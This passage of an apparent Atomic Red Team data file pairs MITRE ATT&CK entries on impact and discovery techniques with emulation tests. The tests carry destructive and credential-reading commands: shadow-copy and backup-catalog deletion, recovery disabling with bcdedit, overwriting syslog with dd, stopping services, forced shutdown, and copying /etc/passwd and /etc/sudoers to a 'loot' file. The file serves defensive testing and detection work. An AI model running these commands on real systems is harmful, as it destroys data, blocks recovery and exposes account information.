Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)
id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c
x_mitre_platforms:
- Linux
- macOS
- Windows
x_mitre_impact_type:
- Availability
x_mitre_version: '1.0'
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and command-line
parameters of binaries that could be involved in data destruction activity,
such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the
creation of suspicious files as well as high unusual file modification activity.
In particular, look for large quantities of file modifications in user directories
and under C:\Windows\System32\.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2019-03-14T18:47:17.701Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- source_name: mitre-attack
external_id: T1485
url: https://attack.mitre.org/techniques/T1485
- description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
14, 2019.
source_name: Symantec Shamoon 2012
url: https://www.symantec.com/connect/blogs/shamoon-attacks
- source_name: FireEye Shamoon Nov 2016
description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
- source_name: Palo Alto Shamoon Nov 2016
description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
Wiper. Retrieved January 11, 2017.'
url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
- description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
source_name: Kaspersky StoneDrill 2017
url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
- description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
Organization. Retrieved March 14, 2019.
source_name: Unit 42 Shamoon3 2018
url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
- description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
Takes Aim At Winter Olympics. Retrieved March 14, 2019.
source_name: Talos Olympic Destroyer 2018
url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
modified: '2019-07-19T14:34:28.595Z'
identifier: T1485
atomic_tests:
- name: Windows - Delete Volume Shadow Copies
description: 'Deletes Windows Volume Shadow Copies. This technique is used by
numerous ransomware families and APT malware such as Olympic Destroyer.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'vssadmin.exe delete shadows /all /quiet
'
- name: Windows - Delete Windows Backup Catalog
description: 'Deletes Windows Backup Catalog. This technique is used by numerous
ransomware families and APT malware such as Olympic Destroyer.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'wbadmin.exe delete catalog -quiet
'
- name: Windows - Disable Windows Recovery Console Repair
description: "Disables repair by the Windows Recovery Console on boot. \nThis
technique is used by numerous ransomware families and APT malware such as
Olympic Destroyer.\n"
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
- name: Windows - Overwrite file with Sysinternals SDelete
description: |
Overwrites and deletes a file using Sysinternals SDelete.
Requires the download of either Sysinternals Suite or the individual SDelete utility.
supported_platforms:
- windows
input_arguments:
file_to_overwrite:
description: Path of file to overwrite and remove
type: Path
default: C:\some\file.txt
executor:
name: command_prompt
command: 'sdelete.exe #{file_to_overwrite}
'
- name: macOS/Linux - Overwrite file with DD
description: |
Overwrites and deletes a file using DD.
To stop the test, break the command with CTRL/CMD+C.
supported_platforms:
- centos
- linux
- macos
- ubuntu
input_arguments:
overwrite_source:
description: Path of data source to overwrite with
type: Path
default: "/dev/zero"
file_to_overwrite:
description: Path of file to overwrite and remove
type: Path
default: "/var/log/syslog"
executor:
name: bash
command: dd of=#{file_to_overwrite} if=#{overwrite_source}
'':
technique:
x_mitre_data_sources:
- Packet capture
- Network protocol analysis
x_mitre_permissions_required:
- User
- Administrator
- root
- SYSTEM
name: Transmitted Data Manipulation
description: "Adversaries may alter data en route to storage or other systems
in order to manipulate external outcomes or hide activity.(Citation: FireEye
APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted
data, adversaries may attempt to affect a business process, organizational
understanding, and decision making. \n\nManipulation may be possible over
a network connection or between system processes where there is an opportunity
deploy a tool that will intercept and change information. The type of modification
and the impact it will have depends on the target transmission mechanism as
well as the goals and objectives of the adversary. For complex systems, an
adversary would likely need special expertise and possibly access to specialized
software related to the system that would typically be gained through a prolonged
information gathering campaign in order to have the desired impact."
id: attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_impact_type:
- Integrity
type: attack-pattern
x_mitre_detection: Detecting the manipulation of data as at passes over a network
can be difficult without the appropriate tools. In some cases integrity verification
checks, such as file hashing, may be used on critical files as they transit
a network. With some critical processes involving transmission of data, manual
or out-of-band integrity checking may be useful for identifying manipulated
data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2019-04-09T16:08:20.824Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- source_name: mitre-attack
external_id: T1493
url: https://attack.mitre.org/techniques/T1493
- source_name: FireEye APT38 Oct 2018
description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
November 6, 2018.'
url: https://content.fireeye.com/apt/rpt-apt38
- description: Department of Justice. (2018, September 6). Criminal Complaint
- United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
source_name: DOJ Lazarus Sony 2018
url: https://www.justice.gov/opa/press-release/file/1092091/download
modified: '2019-06-20T16:56:29.277Z'
atomic_tests: []
T1490:
technique:
x_mitre_data_sources:
- Windows Registry
- Services
- Windows event logs
- Process command-line parameters
- Process monitoring
x_mitre_permissions_required:
- Administrator
- root
- SYSTEM
- User
name: Inhibit System Recovery
description: |-
Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a
x_mitre_platforms:
- Windows
- macOS
- Linux
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_impact_type:
- Availability
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.
Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Yonatan Gotlib, Deep Instinct
created: '2019-04-02T13:54:43.136Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- source_name: mitre-attack
external_id: T1490
url: https://attack.mitre.org/techniques/T1490
- description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
Takes Aim At Winter Olympics. Retrieved March 14, 2019.
source_name: Talos Olympic Destroyer 2018
url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
- description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
Malware Profile. Retrieved March 15, 2019.
source_name: FireEye WannaCry 2017
url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
modified: '2019-07-19T14:37:37.347Z'
identifier: T1490
atomic_tests:
- name: Windows - Delete Volume Shadow Copies
description: 'Deletes Windows Volume Shadow Copies. This technique is used by
numerous ransomware families and APT malware such as Olympic Destroyer.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'vssadmin.exe delete shadows /all /quiet
'
- name: Windows - Delete Volume Shadow Copies via WMI
description: 'Deletes Windows Volume Shadow Copies via WMI. This technique is
used by numerous ransomware families and APT malware such as Olympic Destroyer.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'wmic.exe shadowcopy delete
'
- name: Windows - Delete Windows Backup Catalog
description: 'Deletes Windows Backup Catalog. This technique is used by numerous
ransomware families and APT malware such as Olympic Destroyer.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'wbadmin.exe delete catalog -quiet
'
- name: Windows - Disable Windows Recovery Console Repair
description: "Disables repair by the Windows Recovery Console on boot. \nThis
technique is used by numerous ransomware families and APT malware such as
Olympic Destroyer.\n"
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
T1496:
technique:
x_mitre_data_sources:
- Azure activity logs
- Stackdriver logs
- AWS CloudTrail logs
- Process use of network
- Process monitoring
- Network protocol analysis
- Network device logs
x_mitre_permissions_required:
- User
- Administrator
name: Resource Hijacking
description: "Adversaries may leverage the resources of co-opted systems in
order to solve resource intensive problems which may impact system and/or
hosted service availability. \n\nOne common purpose for Resource Hijacking
is to validate transactions of cryptocurrency networks and earn virtual currency.
Adversaries may consume enough system resources to negatively impact and/or
cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus
Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit -
Unused AWS Regions) systems are common targets because of the high potential
for available resources, but user endpoint systems may also be compromised
and used for Resource Hijacking and cryptocurrency mining."
id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_impact_type:
- Availability
type: attack-pattern
x_mitre_detection: Consider monitoring process resource usage to determine anomalous
activity associated with malicious hijacking of computer resources such as
CPU, memory, and graphics processing resources. Monitor for suspicious use
of network resources associated with cryptocurrency mining software. Monitor
for common cryptomining software process names and files on local systems
that may indicate compromise and resource usage.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2019-04-17T14:50:05.682Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- external_id: T1496
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1496
- source_name: Kaspersky Lazarus Under The Hood Blog 2017
description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April
17, 2019.
url: https://securelist.com/lazarus-under-the-hood/77908/
- source_name: CloudSploit - Unused AWS Regions
description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
Retrieved October 8, 2019.
url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
modified: '2019-10-10T18:40:46.985Z'
identifier: T1496
atomic_tests:
- name: macOS/Linux - Simulate CPU Load with Yes
description: |
This test simulates a high CPU load as you might observe during cryptojacking attacks.
End the test by using CTRL/CMD+C to break.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: bash
command: 'yes > /dev/null
'
T1489:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
- User
x_mitre_data_sources:
- Process command-line parameters
- Process monitoring
- Windows Registry
- API monitoring
name: Service Stop
description: "Adversaries may stop or disable services on a system to render
those services unavailable to legitimate users. Stopping critical services
can inhibit or stop response to an incident or aid in the adversary's overall
objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer
2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by
disabling individual services of high importance to an organization, such
as MSExchangeIS, which will make Exchange content inaccessible
(Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable
many or all services to render systems unusable.(Citation: Talos Olympic Destroyer
2018) Services may not allow for modification of their data stores while running.
Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485)
or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)
on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks
WannaCry Analysis)"
id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_impact_type:
- Availability
type: attack-pattern
x_mitre_detection: |-
Monitor processes and command-line arguments to see if critical processes are terminated or stop running.
Monitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services.
Alterations to the service binary path or the service startup type changed to disabled may be suspicious.
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2019-03-29T19:00:55.901Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- source_name: mitre-attack
external_id: T1489
url: https://attack.mitre.org/techniques/T1489
- description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
Takes Aim At Winter Olympics. Retrieved March 14, 2019.
source_name: Talos Olympic Destroyer 2018
url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
- description: 'Novetta Threat Research Group. (2016, February 24). Operation
Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
25, 2016.'
source_name: Novetta Blockbuster
url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
- description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware
Analysis. Retrieved March 26, 2019.
source_name: SecureWorks WannaCry Analysis
url: https://www.secureworks.com/research/wcry-ransomware-analysis
modified: '2019-07-18T19:18:32.674Z'
identifier: T1489
atomic_tests:
- name: Windows - Stop service using Service Controller
description: 'Stops a specified service using the sc.exe command.
'
supported_platforms:
- windows
input_arguments:
service_name:
description: Name of a service to stop
type: String
default: spooler
executor:
name: command_prompt
elevation_required: true
command: 'sc.exe stop #{service_name}
'
- name: Windows - Stop service using net.exe
description: 'Stops a specified service using the net.exe command.
'
supported_platforms:
- windows
input_arguments:
service_name:
description: Name of a service to stop
type: String
default: spooler
executor:
name: command_prompt
elevation_required: true
command: 'net.exe stop #{service_name}
'
- name: Windows - Stop service by killing process
description: "Stops a specified service killng the service's process. \nThis
technique was used by WannaCry.\n"
supported_platforms:
- windows
input_arguments:
process_name:
description: Name of a process to kill
type: String
default: sqlwriter.exe
executor:
name: command_prompt
elevation_required: false
command: 'taskkill.exe /f /im #{process_name}
'
T1529:
technique:
x_mitre_data_sources:
- Windows event logs
- Process command-line parameters
- Process monitoring
x_mitre_permissions_required:
- User
- Administrator
- root
- SYSTEM
name: System Shutdown/Reboot
description: |-
Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
id: attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_impact_type:
- Availability
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and command
line parameters of binaries involved in shutting down or rebooting systems.
Windows event logs may also designate activity associated with a shutdown/reboot,
ex. Event ID 1074 and 6006.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2019-10-04T20:42:28.541Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: impact
external_references:
- source_name: mitre-attack
external_id: T1529
url: https://attack.mitre.org/techniques/T1529
- description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4,
2019.
source_name: Microsoft Shutdown Oct 2017
url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
- description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises
Systems Worldwide. Retrieved March 26, 2019.
source_name: Talos Nyetya June 2017
url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
- description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
Takes Aim At Winter Olympics. Retrieved March 14, 2019.
source_name: Talos Olympic Destroyer 2018
url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
modified: '2019-10-09T18:26:25.824Z'
identifier: T1529
atomic_tests:
- name: Shutdown System - Windows
description: 'This test shuts down a Windows system.
'
supported_platforms:
- windows
input_arguments:
timeout:
description: Timeout period before shutdown (seconds)
type: string
default: 1
executor:
name: command_prompt
elevation_required: true
command: 'shutdown /s /t #{timeout}
'
- name: Restart System - Windows
description: 'This test restarts a Windows system.
'
supported_platforms:
- windows
input_arguments:
timeout:
description: Timeout period before restart (seconds)
type: string
default: 1
executor:
name: command_prompt
elevation_required: true
command: 'shutdown /r /t #{timeout}
'
discovery:
T1087:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Azure activity logs
- Office 365 account logs
- API monitoring
- Process monitoring
- Process command-line parameters
name: Account Discovery
description: "Adversaries may attempt to get a listing of local system or domain
accounts. \n\n### Windows\n\nExample commands that can acquire this information
are net user, net group , and net
localgroup using the [Net](https://attack.mitre.org/software/S0039)
utility or through use of [dsquery](https://attack.mitre.org/software/S0105).
If adversaries attempt to identify the primary user, currently logged in user,
or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033)
may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups
and id commands. In mac specifically, dscl . list /Groups
and dscacheutil -q group can also be used to enumerate groups
and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through
the use of the /etc/passwd file which is world readable. In mac,
this same file is only used in single-user mode in addition to the /etc/master.passwd
file.\n\nAlso, groups can be enumerated through the groups and
id commands.\n\n### Office 365 and Azure AD\n\nWith authenticated
access there are several tools that can be used to find accounts. The Get-MsolRoleMember
PowerShell cmdlet can be used to obtain account names given a role or permissions
group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure
CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated
access to a domain. The command az ad user list will list all
users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red
Teaming MS AD Azure, 2018) \n\nThe Get-GlobalAddressList PowerShell
cmdlet can be used to obtain email addresses and accounts from a domain using
an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation:
Black Hills Attacking Exchange MailSniper, 2016)"
id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08
x_mitre_platforms:
- Linux
- macOS
- Windows
- Office 365
- Azure AD
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Microsoft Threat Intelligence Center (MSTIC)
- Travis Smith, Tripwire
created: '2017-05-31T21:31:06.988Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1087
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1087
- source_name: capec
external_id: CAPEC-575
url: https://capec.mitre.org/data/definitions/575.html
- description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.
source_name: Microsoft msolrolemember
url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
- description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
6, 2019.
source_name: GitHub Raindance
url: https://github.com/True-Demon/raindance
- description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
source_name: Microsoft AZ CLI
url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
- description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
Directory Leaks via Azure. Retrieved October 6, 2019.
source_name: Black Hills Red Teaming MS AD Azure, 2018
url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
- description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6,
2019.
source_name: Microsoft getglobaladdresslist
url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
- description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper.
Retrieved October 6, 2019.
source_name: Black Hills Attacking Exchange MailSniper, 2016
url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/
modified: '2019-10-08T21:05:16.654Z'
identifier: T1087
atomic_tests:
- name: Enumerate all accounts
description: 'Enumerate all accounts by copying /etc/passwd to another file
'
supported_platforms:
- linux
- macos
input_arguments:
output_file:
description: Path where captured results will be placed
type: Path
default: "~/loot.txt"
executor:
name: sh
command: 'cat /etc/passwd > #{output_file}
'
- name: View sudoers access
description: "(requires root)\n"
supported_platforms:
- linux
- macos
input_arguments:
output_file:
description: Path where captured results will be placed
type: Path
default: "~/loot.txt"
executor:
name: sh
command: 'cat /etc/sudoers > #{output_file}
'
- name: View accounts with UID 0
description: 'View accounts wtih UID 0
'
supported_platforms:
- linux
- macos
input_arguments:
output_file:
description: Path where captured results will be placed
type: Path
default: "~/loot.txt"
executor:
name: sh
command: 'grep ''x:0:'' /etc/passwd > #{output_file} - name: List opened files
by user
'
- name: List opened files by user
description: 'List opened files by user
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: 'username=$(echo $HOME | awk -F''/'' ''{print $3}'') && lsof -u $username
'
- name: Show if a user account has ever logger in remotely
description: 'Show if a user account has ever logger in remotely
'
supported_platforms:
- linux
- macos
input_arguments:
output_file:
description: Path where captured results will be placed
type: Path
default: "~/loot.txt"
executor:
name: sh
command: 'lastlog > #{output_file}
'
- name: Enumerate users and groups
description: 'Utilize groups and id to enumerate users and groups
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
groups
id
- name: Enumerate users and groups
description: 'Utilize local utilities to enumerate users and groups
'
supported_platforms:
- macos
executor:
name: sh
command: |
dscl . list /Groups
dscl . list /Users
dscl . list /Users | grep -v '_'
dscacheutil -q group
dscacheutil -q user
- name: Enumerate all accounts
description: 'Enumerate all accounts
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
net user
net user /domain
dir c:\Users\
cmdkey.exe /list
net localgroup "Users"
net localgroup
- name: Enumerate all accounts via PowerShell
description: 'Enumerate all accounts via PowerShell
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
net user
net user /domain
get-localuser
get-localgroupmembers -group Users
cmdkey.exe /list
ls C:/Users
get-childitem C:\Users\
dir C:\Users\
get-aduser -filter *
get-localgroup
net localgroup
- name: Enumerate logged on users
description: 'Enumerate logged on users
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'query user
'
- name: Enumerate logged on users via PowerShell
description: 'Enumerate logged on users via PowerShell
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: 'query user
'
T1010:
technique:
x_mitre_data_sources:
- API monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Application Window Discovery
description: |-
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.
id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830
x_mitre_platforms:
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:24.512Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1010
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1010
modified: '2018-10-17T00:14:20.652Z'
identifier: T1010
atomic_tests:
- name: List Process Main Windows - C# .NET
description: 'Compiles and executes C# code to list main window titles associated
with each process.
'
supported_platforms:
- windows
input_arguments:
input_source_code:
description: Path to source of C# code
type: path
default: C:\AtomicRedTeam\atomics\T1010\src\T1010.cs
output_file_name:
description: Name of output binary
type: string
default: T1010.exe
executor:
name: command_prompt
elevation_required: false
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} #{input_source_code}
#{output_file_name}
T1217:
technique:
x_mitre_data_sources:
- API monitoring
- File monitoring
- Process command-line parameters
- Process monitoring
x_mitre_permissions_required:
- User
name: Browser Bookmark Discovery
description: |-
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.
Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Mike Kemmerer
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1217
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1217
modified: '2018-10-31T13:45:13.024Z'
identifier: T1217
atomic_tests:
- name: List Mozilla Firefox Bookmark Database Files on Linux
description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions)
that contains bookmarks and lists any found instances to a text file.
'
supported_platforms:
- linux
executor:
name: sh
